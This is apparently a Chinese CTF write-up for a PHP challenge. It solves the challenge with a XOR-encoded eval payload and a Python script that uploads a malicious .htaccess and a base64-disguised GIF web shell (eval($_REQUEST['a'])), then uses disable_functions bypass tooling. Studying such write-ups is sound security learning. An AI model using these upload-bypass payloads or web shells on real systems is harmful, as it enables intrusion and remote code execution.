個人認為,這題還算有些東西。先來看源碼
<?php
function get_the_flag(){// webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);if(!file_exists($userdir)){mkdir($userdir);}if(!empty($_FILES["file"])){$tmp_name = $_FILES["file"]["tmp_name"];$name = $_FILES["file"]["name"];$extension = substr($name, strrpos($name,".")+1);if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name;@move_uploaded_file($tmp_name, $path);print_r($path);}
}$hhh = @$_GET['_'];if (!$hhh){highlight_file(__FILE__);
}if(strlen($hhh)>18){die('One inch long, one inch strong!');
}if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )die('Try something else!');$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");eval($hhh);
?>
?還是很好理解,首先通過_傳參,經過一系列過濾,然后執行參數。這里應該要去調用get_the_flag()函數。這個函數是一個文件上傳的功能,首先獲取你的ip并生成文件路徑,在判斷文件后綴是否含有ph(無論大小寫),文件內容是否含有<?,在判斷文件是否為圖片。了解這些后,開始一步步攻破。
1.[\x00- 0-9A-Za-z]
:匹配任意ASCII字符,包括數字和大小寫字母。
? ??\'"\
~_&.,|=`:匹配特定的字符,包括單引號、雙引號、反引號、波浪線、下劃線、和符號、逗? ? ? 號、點號、豎線和等號。
?[\x7F]+
:匹配ASCII碼為127(十六進制為0x7F)的字符,即刪除字符
? 過濾了這些大概也能猜到要怎么繞過了吧,就是異或繞過。如果直接構造phpinfo會太長。所以構? ? 造_GET
<?php
function finds($string){$index = 0;$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];for($i=27;$i<count($a);$i++){for($j=27;$j<count($a);$j++){$x = $a[$i] ^ $a[$j];for($k = 0;$k<strlen($string);$k++){if(ord($string[$k]) == $x){echo $string[$k]."\n";echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";$index++;if($index == strlen($string)){return 0;}}}}}
}
finds("_GET");
?>
?_=${%86%86%86%86^%d9%c1%c3%d2}{%d2}();&%d2=phpinfo
?其實flag已經找到了,哈哈哈
這應該是一個小瑕疵,還是用正常的解法吧。去訪問get_the_flag()函數。
?_=${%86%86%86%86^%d9%c1%c3%d2}{%d2}();&%d2=get_the_flag
路徑是remote_addr的md5值,這就是構造phpinfo的原因。這里就不太方便放出我的真實ip。?
?
訪問一下確實存在
到這就要到下一步了,構造數據包。
第一步它過濾了后包含ph的后綴。ctf做多了應該明白了吧。大概率要傳.htaccess或者在有php文件的情況下傳.user.ini。這里使用htaccess。因為要檢測是否為圖片。所以頭還得加上
#define width 1337
#define height 1337
第二過濾<?。這里使用base64編碼繞過
第三,exif_imagetype()是否為圖片,使用GIF89a之類的就行。因為要進行base64解碼,如果單單只是GIF89a,解碼會報錯影響后邊,所以構造GIF89a12就不會解碼報錯了。
沒有上傳入口就使用腳本上傳
import requests
import base64htaccess = b"""#define width 1337
#define height 1337
AddType application/x-httpd-php .txt
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_f65a0ca982c669865231909b0ec85a0c/shell.txt"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://4ec51500-93fb-4c41-b573-4f0ad09c5c40.node5.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%d2}();&%d2=get_the_flag"files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)files = {'file':('shell.txt',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
?拿蟻劍連接一下,發現看不了根目錄,估計又是disable_function。使用下邊這個工具模式繞過它
?可以自己去下載
?
flag就在根目錄下邊?